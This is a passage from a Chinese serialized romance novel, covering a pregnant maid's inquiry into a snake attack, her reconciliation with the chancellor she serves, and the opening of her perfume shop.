哪怕她都已经离开了相府,竟也不让她活吗? 满腔怒火堵在胸口,她突然就闷的难受。 萧怀停余光瞥见她的手,正慢慢的在收紧,颤抖着,眼里竟是泛着杀气。 他不由得蹙眉。 这小丫鬟,和那画中人,有仇? “认识吗?” 萧怀停问了一句。 欢娘的思绪被这话打断,将画像翻了个面,摊在相爷面前。 “蒙着脸,奴婢也不清楚,但看她的打扮,奴婢想到了那位宁姑娘,先前公子带她回来时,便也是红衣,也有这长剑……” 她收敛滔滔恨意,如实道。 萧怀停并未见过那所谓的宁姑娘,挑着眉,看着萧一。 “属下倒是见过宁姑娘一面,只是不是这样的打扮。” 他也只是匆匆一瞥罢了。 公子院里的女人,轮不到他去关注,若不是因为欢娘,他还真不会去见这位宁姑娘。 “爷,奴婢能见见那捕蛇人吗?” 在欢娘眼里,是那样的明显,可她是因为知道自己和宁从夏有着深仇大恨,也知道那宁从夏的歹毒。 可在其他人眼里,仅凭着这张看不清脸的画像,如何确定买家? 所以,她要当面见见那捕蛇人。 第六十三章爷的画,不值钱了? “见了,如何?找到真凶?你想如何?” 萧怀停并未立刻回应,反问道。 欢娘一听这语气,心生不满,怎么爷是觉得,就算她查清真相,也不能为自己报仇吗? 而他,更没想过帮她? “她放蛇咬我,蓄意谋杀,就算是爷您不管,奴婢若有确凿证据,也可去报官。” “大胆。” 可话音刚落,旁边传来一股戾气。 不等爷发作,萧一冰冷的眼眸已经射了过来。 瞬间,欢娘跪的那叫一个利索。 “奴婢失言了。” 一边是因为被萧一给吓得,一边她自己也惊了,也不知是谁给了她这胆子,竟敢在爷面前,这样说话? 屋内瞬间安静。 欢娘害怕的不知所措。 “随你。” 最后,她听到相爷淡淡的回应。 身体却冰凉到了骨子里。 什么叫‘随你’? 就算查清楚,有了确凿证据,她一个奴婢瞒着主子去报官,那她也不会有好下场。 她真是失心疯了,才敢那样说话。 “欢娘知错。” 她真诚的致歉。 爷没太大反应,却不发一言。 “下去。” 最后她是被萧一冷声赶走的。 回屋后,欢娘痛定思痛,反省了很久。 约莫是近来太顺,自打怀孕后,爷对她的态度温和不少,所以她失了分寸。 ‘恃宠而骄’说的大概就是她现在。 她以前伺候主子,见到过那些姨娘恃宠而骄,最后就连主子都得罪了。 那下场,很凄惨。 越想她就越是懊恼。 心里暗暗告诫自己,这样的错误,不可再犯。 可似乎晚了。 午后,采菊便来问她。 “你惹的爷不高兴了?方才萧一侍卫过来说,日后不用你早饭?” 看采菊的表情,这似乎很不应该。 欢娘有苦难言。 “是我不对。” 采菊见她苦恼又神伤的样子,倒是没多说什么,问起了铺子的事。 毕竟这一折腾,已经有半月了。 可这一提,欢娘就更失落了。 然后拿出了自己从相爷那里讨来的红梅图。 “爷给你的?” 采菊只是扫了一眼,便认出了那是爷的手笔。 欢娘点点头,然后拉着她进屋,悄悄的说起有关这幅画的来龙去脉。 “我听闻,爷的画,价值千金,字更是一字难求,所以前两日我拿着这画,去了当铺……” 欢娘说的脸红。 其实她也没想当,只是去问问。 可谁知,当铺老板不收,说不值钱。 之后她又去了多个地方,打着卖画的名号去问。 “大家都说好,画工了得,可是……也就在路边卖时,有人出了五两银子。” 欢娘小声说着。 生怕这话被外人听去,很小心。 而且若是让相爷知道,他的画,就值五两,还不知什么心情。 采菊却被她的表情弄的哭笑不得。 “莫不是这画,爷画的随便,知道不值钱,所以才赏给我的?” 欢娘泛起了嘀咕。 “怎么不去问问爷呢?” 采菊笑道。 “本是想问的,可现在……不大敢了。” 欢娘苦笑着摇了摇头。 “卖我是不能卖了,但我想,将这画挂在我那铺子里做个装饰,定是极好的,能造势。” 她又认真道。 “我本还想问问爷,我能不能将这画拿去展出……” “不必问,可以。” 采菊却给了她肯定的答复。 “为何?” 欢娘面露不解,直到采菊是最了解爷的,可她实在想不出缘由。 “问了这么多人,可有人知道这画是谁所作?” 采菊拿过画,柔声问道。 欢娘想了想,又摇了摇头,看那表情,都是迷茫。 “所以你挂去铺子里,也无人知晓,既没有打着爷的名号,何须他同意?” “这画,在世人眼中,也不过是个画工了得的无名之辈所作而已,虽精美,却无任何价值。” 闻言,欢娘好似是明白了什么。 “姐姐的意思是,这画价值千金,值的是爷的名声?” 仔细看,这画是没有署名的。 “也不算太笨。” 欢娘反应过来时,人又愣了一下,才恍然大悟。 怪不得呢,爷就那么轻易的将画给她了。 那她想将这画挂在铺子里造势,只怕也没作用了,借不到爷的‘名声’,何来的势头呢? 欢娘暗叹口气。 “近日,坊间传言,京都来了一位从东夷过来的调香师,调香手艺了得,而且还曾是东夷王女,你可知晓?” 采菊又问道。 欢娘脸上,拂过的笑容都是心虚的。 一见她如此,还有什么不明白的呢? 为这铺子,她确实是动了不少脑筋。 之后的几日,欢娘识趣的没去爷面前碍眼,一心筹备着店铺新开业的事。 所需的香料,都需要精心调配的,很是费心思。 甚至,她都忘了自己有孕在身。 直到柳大夫再次上门,给她诊脉时,老夫人竟也是过来了。 多日不见的爷,再次出现。 只是这次,没像之前那样,拉着她了,事不关己的坐在旁侧。 欢娘偷忘了他几眼,心底有些委屈,却不敢表露。 “如何?” 老夫人很是紧张。 柳大夫的手才撤回去,她就问道。 “她这身子,康健的很,老夫从医多年,还不曾见哪个女子的身体是这般……” 柳大夫摸着胡子,笑的慈祥。 只是说到一半好像意识到话不对,立刻改口。 “一切正常,老夫人请放心。” 可他那笑容,明显是要比正常还要好些。 见状,萧苏氏将柳大夫请了出去,借一步说话。 得知孩子挺好的,欢娘也很开心,只是到现在为止,她都没感觉自己的身体,有什么变化。 可……她看了看一旁冷着脸的相爷,心想着,总不能就这样一直冷下去。 “爷,您瞧着,奴婢的肚子,可大了些?” 所以她主动走了过去。 将衣服收紧了些,显得腰肢便越发的纤细。 肚子没出来,倒是姣好的身材,极为惹眼。 “还不到月份。” 可萧怀停的眼神,怪冷漠的。 “可奴婢总感觉肚子有些沉。” 欢娘故作委屈的摸了摸肚子。 “吃多了。” 他冷声开口。 “我还有事。” 说着就往外走去,是要出门了。 没能换来个好脸色,欢娘暗叹口气,摸着自己平坦的小腹,暗暗嘀咕着。 “孩子啊孩子,可得帮帮娘亲,长快些。” 萧怀停还没走出长风院,便被老夫人拦了下来。 “我瞧着她今日没戴那镯子,是你取了?” · 第六十四章厚着脸皮,再磨一磨就是 这本不是什么光彩的事情。 但萧苏氏觉得,自家这恪守规矩,又不好女色的性子,若不是受那香料影响,怎会和欢娘有肌肤之亲。 他自幼,便对香味敏锐的很,想来是早有察觉了。 “那香……对孩子不好。” 萧怀停点了点头,说话时声音再次发硬。 瞬间,萧苏氏轻笑出声。 “那可是我花了大价钱买回来的,用它的目的就是想让欢娘尽快怀上孩子,我怎会用它伤了孩子呢?” 儿子提起孩子时的不自然,让她觉得心酸,却又有些好笑。 “柳大夫说过了,欢娘体质极好,看脉象,怀的可能还是双胎,等再过两月才能确定。” 方才得知这好消息,她就迫不及待的想告诉他。 大夫诊断他这辈子难有子嗣时,不仅是她的天塌了,儿子也因此颓靡了许久。 而现在,不仅是有孕,还是双胎。 天上一下掉下两个大馅饼,用手接,都是沉甸甸的。 萧怀停神色微微一僵。 “不可能。” 僵硬的声音,已经微微有些发颤了。 可听他的语气,也不是反驳。 反而透着几分期待和忐忑,似乎是希望,别人能确切的告诉他,没有什么不可能的。 “柳大夫的医术,你是知道的,若不是有八九成的把握,他怎会冒险与我说?” “怀停,这欢娘啊,与你有缘,不如娘想个法子,让她名正言顺的留在你身边?” “大夫说了,她那胎象稳的很,别太频繁,是没事的。” 萧苏氏面露喜色,她都一把年纪了,说起这些也没什么不好意思的。 而且这都是好事,天大的好事。 “还不是时候,再等等吧。” 可却被萧怀停拒绝了。 但似乎也不是不要那欢娘,萧苏氏后来回味着儿子说的话,才后知后觉的反应过来。 原来儿子当真是对那欢娘上了心的。 只是当下,因为马上要有亲孙儿,她被这样的喜悦冲昏了头。 满门心思都只期盼着,欢娘尽早能生下双胎。 这下可真的难哄了。 想起相爷的冷淡,欢娘也没办法再专注调香。 总得想个办法,把爷哄高兴了再说。 可她一个丫鬟,好吃好喝的,好用的,全都试过了。 还能有什么办法呢? 欢娘苦思冥想了一整晚。 直到晚上看到爷回来,直接进了卧房,没一会儿就见侍卫往里屋提水。 欢娘眼睛一亮,暗自惊喜,可真是‘天助我也’啊。 约莫一刻钟后。 萧怀停泡在浴桶里,欢娘便提着水桶,从外面进来。 他眯着眼,瞧见她双手提着木桶,很费劲的样子。 “爷,奴婢给您加热水。” 只见她喘着气,嘴巴微张,脸颊微红。 桶一放下,就连忙撑着她那腰,似乎刚才很费劲。 “谁用得找你?出去。” 萧怀停目光一凝,眼中满是不悦。 欢娘是害怕他生气的,手都轻颤了颤。 可她一个奴婢,在主子面前,就该厚脸皮一些,否则难道还指望着主子主动给她台阶下吗? “不走,奴婢要伺候爷,爷不让奴婢伺候,奴婢心里慌的很。” 她走上前,不顾那可怕冰冷的眼神,纤长白皙的手探进水里,试了试。 然后就舀水,加进去。 萧怀停看着她的动作,眉宇间划过一丝无奈,还有从不显露的‘烦躁’。 从不表露欣喜的相爷,在此刻神情有变。 欢娘一瓢一瓢的热水加进去,直到她探着水温合适了,才停下。 手轻轻拨动着水面,她径直走到爷的身后,拿起浴布帮他擦洗着身体。 可没动两下,就被萧怀停抓住手腕,甩开。 “我没心情应付你,出去。” 他语气冰冷的吓人。 就算是欢娘,也能察觉到他的心情,极不好。 “爷您这话严重了,奴婢怎么会需要您应付呢?您就当奴婢不存在就是。” “奴婢保证,绝不叨扰您。” 欢娘柔声说着。 撩起宽大的衣袖,伸手进浴桶里,去捞浴布,那手在水下显得越发的白皙红润,嫩的都想去咬一口。 萧怀停沉眸,看着那手好似朝着他的身体探去,鼻尖萦绕着她身上的味道。 他一下没忍住,水中捞起那游荡的手。 冰冷的眸看向欢娘,满是煞气。 欢娘被吓得腿都有些软了,只觉得眼前模糊,眼睛湿漉漉的。 “爷,奴婢没脑子,见识短,说错了话,您就大人有大量,原谅奴婢这一回,好不好?” 她放低语气,卑微的恳求。 红着眼又深情的看着他,这是欢娘已经用的熟透了的技能,甚至都快要成本能了。 但效果也越来越不好。 爷他依旧冷着脸。 “爷,您……真不知奴婢怎么想的吗?奴婢以为您那般聪明,定是一眼便看透奴婢的心思了。” 没办法,就算冷脸,软话也必须一直说。 “奴婢不过是想让爷为奴婢出头而已,一时用错了办法,奴婢敢用命发誓,绝对没起过去报官的心思。” 说着,眼泪就委屈的流下了。 “是奴婢越矩了,奴婢这样的身份,就不能威胁您,以后奴婢一定谨小慎微,做好本分……” 越说,眼泪就越凶。 “以你现在的身份,若去报官,可知是什么下场?” 萧怀停冷着脸,眉头紧蹙着。 今夜他确实很烦,并不想见她。 可她却粘人粘的极紧。 “会……会被打死。” 欢娘哽咽着,听上去,更可怜了。 萧怀停听的目光一沉。 “我给你机会,想清楚了,重新说。” 难道不是被打死?可她一个丫鬟敢瞒着主子去报官,事后主子是一定会弄死她这被主的东西的。 “那奴婢需要些时间。” “您先原谅奴婢,奴婢等想清楚了,再回答您。” 欢娘趁机恳求。 样子挺可怜的,可似乎是在耍无赖。 萧怀停无奈的看着她。 气什么呢?气她的愚蠢罢了。 可她的愚蠢,似乎不是一两天就能改变的。 “嗯。” 他不耐烦的轻声点头。 也罢,就算是为了清净片刻吧,不计较了。 “那奴婢今晚……能不能……不走,明早奴婢想看您去上朝。” 欢娘见爷当真答应。 赶忙趁胜追击,立刻讨好。 好不容易原谅了,当然要趁机加深一下感情。 萧怀停眸光一冷,看着已经慢慢凑近的欢娘,明明是想把人撵出去的。 可身体却是另一种反应。 第六十五章食之入髓?要在这里吗? “爷,让奴婢自己来好不好?” “奴婢现在有孕,听人说,强度不能太大。” “但您放心,奴婢一定伺候好您,就算是不能……” “闭嘴。” 屏风后风光旖旎。 可欢娘今夜是献媚过度,嘴巴就没停过。 萧怀停最后忍无可忍的吼道。 然后一个翻身掌控了主动权。 “爷,让奴婢来……” 欢娘还不死心,重复了几遍后,声音就越来越小了。 翌日一早。 萧怀停休沐,早饭后,欢娘跟着他在书房继续学习,练字。 他来了兴致,题诗一首,落了名。 欢娘看到后,眼巴巴的上去讨要。 得采菊姐姐启发后,她深知有爷私印的字画才有价值。 值钱是其次的,最重要的还是名声大。 萧怀停没看她,只是将那首诗放在桌上。 “会念,便给你。” 他敲了敲桌子。 欢娘笑容瞬间凝固。 她学了这么久,也就看得懂些常用的字,会写的更是两个巴掌能数得过来。 爷这不是有心为难吗? 她蹙了蹙眉,却看到相爷的眼神,带着几分戏谑和调侃。 似乎……心情还不错? 她胆子又大了。 “好啊,奴婢念给您听就是。” 说着她便往他身上一坐。 拉起他宽厚的手。 指着第一个字。 “爷,您教奴婢,奴婢发誓,今天若认不全这些,就不出去,也不吃饭。” 她回头,看着他。 眼底的小算计涌动着,眼睛却十分明亮,居然还带着一丝俏皮的挑衅。 萧怀停有些哭笑不得。 说的好像她会很努力一样,可难为的不是他吗? 但他还是教了。 她抓着他的手,清冷的声音后面,跟着柔软温润的嗓音。 一字一句,都透着不一样的风味。 也可只教了两遍。 萧怀停将人从腿上赶了下去。 让她自己去旁边念。 等都年会了,再来查验。 萧怀停随手抽了本书,就随意的看着。 可欢娘认字,到底是愚笨。 磕磕绊绊的念了几个,又眼巴巴过来问。 如此循环了许久,萧怀停就算起初有些兴致,最后也变得无奈。 看欢娘的眼神,越来越像是看个傻子。 “不是奴婢愚笨,奴婢只是没有爷您这样的脑力而已……” 欢娘被看的尴尬,急忙解释着。 甚至还忍不住嘀咕,若自己有那样的本事,还用得着做这丫鬟吗? “嗯,所以你笨,你有理。” 萧怀停无奈的都笑了。 欢娘不大服气,拿着那首诗在旁边默念着。 她坚持了很久。 可到底没坚持到最后。 “这个念什么?” 她注意力都在字上,想假装若无其事,但耳根热的厉害。 也不知是不是心虚,总觉得旁边的视线一直在身上。 “落。” 如愿跟着念了字。 可却传来爷的轻笑嘲讽。 欢娘暗恼,却红着脸,坚持到了最后。 就为了一首诗,她在书房待了整整一日。 晚上,看着爷漂亮的字,她抱在怀里,心满意足的睡了。 还真别说,这比调香,还是干别的粗活都累。 真怪不得公子那么不喜欢做学问。 翌日。 欢娘正准备要出门,爷的马车却突然出现。 “上车。” 萧一驱赶着马车,冲她冷声道。 欢娘一脸疑惑,脚走的却很快。 相爷找她,没有拒绝的道理。 车内,果然是如青松般鹤立的爷,一身玄色暗纹锦缎便服,周身透着清冷气息。 “爷,早。” 欢娘笑着走进车里,挨着他就坐下。 他反应冷淡。 “咱们去哪儿?” “去找个人。” 找水能带上她? 欢娘蹙眉,想了想。 马车缓缓前行,她往外瞄了几眼,却始终看不大清楚,这到底是去往何处? 因为地方越来越偏僻了,出了主街,七拐八绕的,又去了别处。 冷冷清清。 欢娘也不由得紧张起来,因为看不到人,她的心也跟着提起。 没一会儿,车停了。 欢娘偷偷往外看去,萧一侍卫走远。 她看着正襟危坐的相爷,就往他那边挪了两下,轻轻的,悄悄的,装作是不经意。 手一用力,按的是那软绵绵的垫褥,而且和上次还是一样的。 上次马车一样是停在偏僻的地方,然后就是…… 眼下无人,车里的香味和上次如出一辙。 她不得不多想,莫不是在卧房里腻了,爷他想要一些不一样的? “爷,咱们……要一直坐在马车里吗?” 可想归想,她还是试探了一下。 “嗯。” 听到爷轻声的点头。 欢娘手心立刻就冒汗,有些紧张。 她眼巴巴的透过缝隙,看外面。 确实,都这么久了,也没人经过。 “那奴婢……” 她深吸口气,慢慢的将手挪过去,扯住爷的衣袖。 爷错愕,看了过来。 “爷,人来了。” 下一刻,萧一的声音从外边传来。 欢娘连忙把手收回,惊的不敢去看爷的表情。 而她自己,这次不用看,脸一定是爆红了。 误会了。 这下误会大了。 爷要怎么想她? “奴婢……先出去。” 得逃离这是非之地。 欢娘看都没敢看他。 她逃的飞快。 可一出马车,看到地上的东西,就被吓得脑子一片空白。 “啊……” 萧怀停还来得及说什么,就眼睁睁看着她匆匆要跑出去,却又尖叫着后退。 人还险些被绊倒。 欢娘被吓得颤抖,整个人都丢了魂儿。 “蛇,有蛇,外面有蛇。” 那一刻,她怕是都不知道自己抓着的是爷的衣领。 手背上,脸上,都因为害怕,起了鸡皮疙瘩,嘴唇泛白。 而她人,正被萧怀停揽在怀里。 这般怕? 他确实是没想到。 他正欲掀开车帘,看一看。 欢娘连忙抓住他的手。 “别……别看,有蛇。” 说着,她直接埋头躲在他怀里,声音颤抖。 “萧一。” 萧怀停眉头轻蹙,轻唤一声。 怀里的人全身紧绷,好像魂儿都被那蛇给吓没了。 他轻声安抚着,手却伸向了她小腹。 一时不知是在安抚谁了。 片刻后,马车外萧一的声音再次传来。 “已经处理好了。” 萧怀停欲让人出去,可欢娘却死死的扒着她,摇头。 怎么都不愿出去。 没命的事都不怕,竟这般怕蛇? 萧怀停还真是难以理解,若非亲眼看到,他会以为她在做戏给他看。 “你要见的捕蛇人,还见吗?” 见状,他也实在不忍心再勉强。 第六十六章怎么不是她呢? 而且她若这般害怕,但真是会影响孩子。 她若拒绝,那便算了。 欢娘这会儿的反应有些慢,说的捕蛇人,想了好一会儿才想起不久前,自己确实是求着,要见见那位捕蛇人。 所以爷今日带着她出来寻人? 欢娘有些感动,若不是因这样的恐惧,她只怕是要拽着相爷,又说一些掏心窝子的感谢了。 “见,自然是要见的。” 欢娘暗暗将指甲潜入掌心,很用力的让自己疼痛,才能冷静,清醒。 那捕蛇人是指证宁从夏的关键。 所以不管再怕,她都得出去。 萧怀停见她一边颤抖,又一边坚持,倒是意外。 “该问的,能问的,萧一都已经仔细盘查询问过了,难道你觉得你问的会比萧一好?” “回府吧。” 可既然她怕成这样,也没见面的必要了,他可不认为凭她一个小丫鬟能问出什么新的线索来。 车外,萧一答了一声。 马车往下一沉,萧一应当是上来了。 “不,别……” 欢娘赶忙求情,连忙挣脱就跪在了地上。 “求求爷了,奴婢还是想见见。” 许是惊吓过度,她不想哭的,却在一开口,眼泪不自觉的掉落。 许是那样子,可怜了,也许是……因为孩子。 萧怀停到底是同意了。 欢娘下车,在萧一的陪同下,去见那捕蛇人。 当然,那些蛇已经被提前收起。 茶馆里,欢娘和那捕蛇人面对面坐着,就没来由的打了个寒颤。 哪怕他是个人,但欢娘却觉得阴冷可怕,尤其是那双眼睛,好似让她看到了凶狠的大蛇。 “敢问大哥,怎么称呼?” 欢娘是真的怵他。 那种恐惧,没有任何道理可言。 “你想问什么?” 捕蛇人看了眼一旁的侍卫,心生敬畏。 可这女的……又是什么身份?瞧着打扮也不像是贵人主子,可若只是丫鬟,难道还比站在那儿的侍卫高贵些? 他拿不准主意,但却知道,不能得罪这些人。 “敢问大叔,还记得是哪一日卖的蛇?在何处?那人都说了什么?还请您一字一句的告诉我。” “这问题,不是都问过了吗?” 捕蛇人皱了皱眉,不大耐烦。 他以捕蛇为生,自然就不是好惹的,可若是萧一侍卫表露过身份,他应当不敢这般放肆。 所以……捕蛇人应该不知道萧一的身份。 这样也好,他对萧家一无所知,那所提供的讯息会更有用。 毕竟他可不会因为一个完全陌生的人,撒谎。 “我记忆不大好,还请大哥,再说一遍。” 欢娘露出礼貌性的微笑,语气也温柔,客客气气的。 捕蛇人眼一愣,那寒气更甚。 可虽然很不耐烦,但还是耐着性子将那日发生的都说了一遍。 可也只记了个七七八八,并不全。 而且说的确实和萧一那里听说的,一样。 红衣,持剑,戴着面纱,就连身形描述都和宁从夏无二。 欢娘沉默了。 一旁萧一本以为她是有什么新的线索,可等了半天,也就这样,不禁有些失望。 既然没什么好问的,那就走吧。 萧一正要开口,欢娘却先站了起来。 “大叔,请您稍等我片刻。” 说完她就出去了。 “壮士,那是你主子?” 走后,捕蛇人实在是纳闷,忍不住问了一句。 这下萧一可就为难了。 主子吗?身份只是个丫鬟而已。 可爷似乎打算将人留在身边?那算主子? 就算是做了姨娘,那也不是他的主子。 “不是。” 思忖许久后,他才道。 不是? 捕蛇人的神情,就越发疑惑了? 片刻后。 一抹红衣,头戴面纱,手持长剑的女子,便走了进来。 径直走向捕蛇人。 “我要最毒,最大的蛇,把你手上最好的那条蛇卖给我。” 她冷声开口。 浑身上下都散发着不好惹的气势。 捕蛇人愣了一瞬。 一旁的萧一见到扫了一眼,然后又认真的看了又看,最后是愣住了。 “你……” 捕蛇人起身,眼珠子都瞪大了。 可下一刻,脸上的面纱被掀开,看到人时,他再次愣住。 “你……” “敢问大叔,那人说话,可是这般语气?” 欢娘简单装扮了一下。 依着捕蛇者的描述,意思是没变的,但若是宁从夏来买,定不会客气。 她那样的人…… 等她把过程理清楚了,萧一侍卫定会十分好奇为何她会那么清楚买蛇人的一言一行。 她便能道明真相。 这般也算是有理有据了。 “不……不是这样。” 可捕蛇人的话,却让她一惊。 居然不是? “那姑娘,极有礼貌,说话也很温柔,你这一模仿,我倒是想起来了,是这样的。” “敢问这位大叔,可是要去卖蛇?不知您这蛇,是什么品种?价值多少?” 捕蛇人甚至还学着那人的样子,学起来了。 一旁萧一也看的愣住。 他自问已经问的十分清楚了,可还没具体到能复原那人的神态和语气。 可现在似乎…… 萧一有些错愕的看着欢娘,她倒是……也有些小聪明。 依着这样的法子来捕捉嫌疑人的特征,似乎是不错的法子。 “您确定?” 欢娘却因捕蛇人的话,愣住了。 居然不是这样吗?难道是她猜错了? “自然,那人可没你这般蛮横无理,说话温柔的很,和你方才……倒是差不多,而且……还了价,还求了我几句,让我便宜二两银子。” “我见她有难处,人可怜,才答应卖给她。” 捕蛇人认真道。 这可不就是萧一没问到的细节吗?甚至捕蛇人都不会主动交代的那么仔细。 不是她。 宁从夏绝不是这样的人。 可怎么能不是她呢? 欢娘有些失望。 而自己平日在相府,也没什么仇家。 除了宁从夏,那便只有月莹,才是她最大的仇家。 她假装成宁从夏的样子,再买蛇害她,当真是打了个一盘好主意。 欢娘都害怕,若不是她一门心思想要给宁从夏定罪,想了这么个办法。 她就当真以为买蛇咬她的人,就是宁从夏了。 “虽你这番话说的不对,但除了衣裳长剑,就连鞋都是一样的,我倒是忘了,这鞋,我可有说过?” 捕蛇人突然道。 只是这次萧一的情绪,似乎要更激动些。 “你可没说过。” 对他而言,那可真是意料之外了。 第六十七章待遇,就没差过,就嘴上不喜欢 鞋子…… 这可是相府,丫鬟统一发放的。 欢娘看了看脚下。 假扮宁从夏,露了破绽。 以萧一的能力,就以这双鞋再查下去,已经不用欢娘再操心了。 所以虽然这和宁从夏无关,但是不是也算是帮自己除掉一个敌人。 欢娘向那捕蛇人道了谢,便先离开了。 善后工作有萧一,不用她去操心。 回到车里。 只见爷捧着一本诗经,看的很认真的样子。 博才多学,大概就是因为这般刻苦,欢娘对爷的‘钦佩’又多了几分。 “这是奴婢在街边买的栗子糕,爷您尝尝看?” “还热着呢,刚出锅的,奴婢怕您饿了。” 白色手绢包着几个明黄色的糕点,散发着浓郁的栗子香味。 萧怀停都没还开口,欢娘已经将栗子送到了嘴巴。 这样的讨好献媚……莫不是在感谢他百忙之中还带她出来? 如此,那倒是应该的。 萧怀停嘴角微弯,却因为咬了一口糕点,笑容被遮掩。 他自己拿过一块,吃起来。 “好吃吗?” 欢娘捧着糕点,期盼的看着爷的反应。 “嗯。” 当爷只是很敷衍的点点头时,她却很开心。 “这栗子糕,奴婢也会做,回头奴婢去找一些好的栗子,亲手给爷做。” 自己拿了一块,也品尝起来。 这糕点是她买的,而且是在外面,她和爷一起吃,应该……也不算不守规矩。 “未必自己做的东西就会更好,人贵在有自知之明,应当去做自己擅长的事。” 她吃的小心翼翼。 突然听到爷说话,欢娘有些茫然。 “爷的意思是……奴婢做的栗子糕,没这好吃?” 虽然这么问的,但欢娘有些纳闷,都还没做呢,爷怎么就知道她做的比不上这些? 难道爷是觉得,这栗子糕已经是他吃过最好吃的? 可爷却没回答她。 只是那嫌弃的眼神,又出现了,但也只是淡淡的撇了一眼。 欢娘很是纳闷。 回了相府后。 萧一站在书房,将今日去见捕蛇人的事情,说了一遍。 “欢娘,确实有几分聪明,她居然能想到这法子,属下觉得日后审问疑犯,也能用这样的办法。” 说完以后,他还认真的夸了夸。 萧怀停却冷笑着摇了摇头。 “小聪明而已,但犯蠢的时候多。” “爷,她不识字,原来也只是个干粗活的,属下倒是觉得,若好好培养,欢娘……是个人才。” 因为今天的事,萧一是破天荒的为她说话了。 可萧怀停的表情却更冷了,似乎不喜欢听萧一说这些。 “既然她给你提供了关键线索,那这事应当能查个清楚了?” “是,属下这就去查。” 萧一领命退出。 心底却嘀咕着,爷这人,奇怪的很,一方面护着欢娘,可一方面,好像不喜欢听别人提起欢娘。 所以主子的心思,就是难猜。 晚饭时,欢娘多了一碗鸡汤。 “你身体,可有不舒服的?” 采菊特地端过来,还满是关切的询问。 欢娘被问的莫名,她的样子,像是生病了吗? “爷说,今日出门时,你受了惊吓,需要补补,这鸡汤,连喝三日。” 所以是爷专门赏赐给她的? “爷可真好。” 欢娘忍不住笑了笑。 这样的日子,持续了小半个月。 在欢娘的努力下,新店重新开业了。 落魄的东夷王女在京都开了凝香阁的消息,已经在京都传了两个月。 虽算不得多大的消息,但在坊间,一提起便是知晓的。 凝香阁打出了‘养肤为基,雅韵为魂’的格调。 独立院落,朱门轻掩,不设显眼招牌,仅在门楣悬挂一枚小巧玉牌,刻“凝香”二字。 香味都弥漫了半条街,而且据传这铺子还是从当今权臣萧相爷手中买下的,大堂内还挂着相爷的亲笔题字。 除此以外,还有诸多名家作品,极其高雅。 一开业,总有些贵女,闲着想凑热闹的,想看看那所谓的东夷王女,也想看看那些所谓大家作品,所以就去了。 却不想入门便是静候区,以鲜花,名草,小画做装饰,还有糕点茶水,年轻的姑娘站立两旁。 再往里分成了三个暖阁,分别为:脂粉阁,香膏阁,梳妆阁,空间独立,私密。 二楼是定制区,只对核心客户开放,门上了锁,不让参观。 东西还没多看,但这个格调,倒是引起了贵女的兴趣。 总之开业第一日,客人不多,可成群结伴进凝香阁参观的贵女,却都愿意试上一试。 而欢娘也并未出面,只是坐在二楼,一身白衣,面纱遮面,静静的看着下面。 倒不是她游刃有余,胜券在握。 实际上也很紧张,只是她得按照自己想好的来,只有勾起那些贵女浓厚的兴趣,她们才会多留意一下这凝香阁。 为了弄出这样的格调,欢娘手里那二百多两银子,可都搭出去了。 成败,也在此一举。 傍晚,府内。 采菊一看到爷从外回来,便匆匆上前。 “这是欢娘的计划,爷帮忙看看,可还有要改进的地方?” 她手里有一份文书。 萧怀停打开,只见采菊写着的,是欢娘开铺子的想法。 “她倒是有主意,奴婢不知……欢娘竟有做生意的天分……” “以前买她那人,便是富商,耳濡目染了一些。” 萧怀停说的极不在意。 “那也不见那富商将生意做的多好,反正奴婢是看好欢娘的,她有天分。” 采菊却撇撇嘴,大着胆子说了一句。 而且看爷专注看文书的神情,根本就不是嘴上说的那般嫌弃和不满。 “我倒没想到,她卖个香膏,能玩出这些花样来,名门贵族,可最讲究身份了,用香膏的味道来标记各个阶层的贵人,奴婢觉得她肯定能成功……” 采菊夸了好一会儿。 “这上面,都是她自己想的?” 萧怀停没说,却一页页看的仔细。 “奴婢什么脑子,爷还不清楚吗?” 采菊笑道。 萧怀停蹙眉,看了看一向稳重的大丫鬟。 “虚张声势罢了,若没有底牌,迟早要遇到麻烦。” 他没再说什么。 可那份文书,却留在了他那庄严的书房里。 “还不识字,见识浅薄。” 他又道。 采菊听了都纳闷。 以前怎么不知道‘爷’嘴巴这般‘毒’呢? “左侧第二排第三个的箱子,拿去给欢娘。” 怔愣间,采菊听着吩咐娶了东西,可却在看到箱子里的东西以后,愣住了。 第六十八章爷送的礼,精贵着呢 “这是……” “既然她给自己假造了那般尊贵的身份,总该要有那实力才是,否则徒有虚表,现在店铺彰显的多显贵,日后被戳穿时,只会更惨。” 采菊拿着一本秘谱,人都已经傻了。 只听爷缓缓道来。 “香道玄经?这是什么?” 晚上,忙了一天很疲惫回来的欢娘,收到了采菊送来的东西。 一本看着古朴,还有些破旧的书册。 “看来这阵子学的不错,认识的字都多了些。” 采菊却笑着调侃她。 欢娘自己已经翻开看了。 “也不多,大半不认识……” 一眼看去,好多字都没见过,不过依稀能看出这是调香用的。 以前那个富商也有类似的本子,她会的便是从那上面学来的。 “听说过芳髓先生吗?” 可下一刻采菊说的名字,立刻让欢娘认识到,自己的认知是多浅薄,居然把这册子和以前那富商手里的看作一样? 芳髓先生,那可是已经流传百年的调香第一人,据传他写了一本调香手册,可早已失传。 难道她手中的,便是…… “姐姐,这本书,爷当真给我吗?” 这样有价值的秘方,砸的欢娘脑子一片空白。 她何德何能啊,爷竟是给她这样的好东西? “反正爷是让我交给你了,他给不给的,你不妨自己去问。” 采菊笑着调侃。 心里却纳闷了,爷的书房她随时都在整理,又是何时多了这书? 欢娘把书当宝贝似的往怀里揣着。 当晚,就借着烛光仔细研究那书。 可认字实在不全,纵她使出九牛二虎之力,也就那般了。 好书是好书,但她却是个睁眼瞎。 所以翌日一早。 她便拿着去,去请教爷。 萧怀停见她顶着黑眼圈进来,有些憔悴,但更多的是颓靡。 “爷。” 她轻声唤了一句。 眼底便都是渴望。 “书给了你,还要教你认字?你是不是太得寸进尺了?” 萧怀停淡淡的扫了她一眼,整理了下桌上的书籍。 今日他清闲,没什么事可做。 “奴婢……不敢,奴婢只是觉得这书籍乃孤本,给了奴婢实在是可惜,所以奴婢是想将这孤本还给您。” 听到爷居然这么说,欢娘心底忍不住泛起了嘀咕,爷您不知道我不识字吗? 萧怀停一听她这话,忍不住多看了她一眼,眉头轻蹙。 “何意?” 就这东西的价值,好比科考的寒门学子在科考前拿到了考题一般。 又岂有再退还的道理? “奴婢只是担心弄丢了,或是弄坏了这孤本,那便失传了,奴婢可担不起这样的责任。” “所以……想请爷您抄录一份,奴婢喜欢看着您的字,慢慢学。” 她说着,就将那孤本整整齐齐的放在桌子上。 深情款款的眸还带着一丝羞涩的看着他。 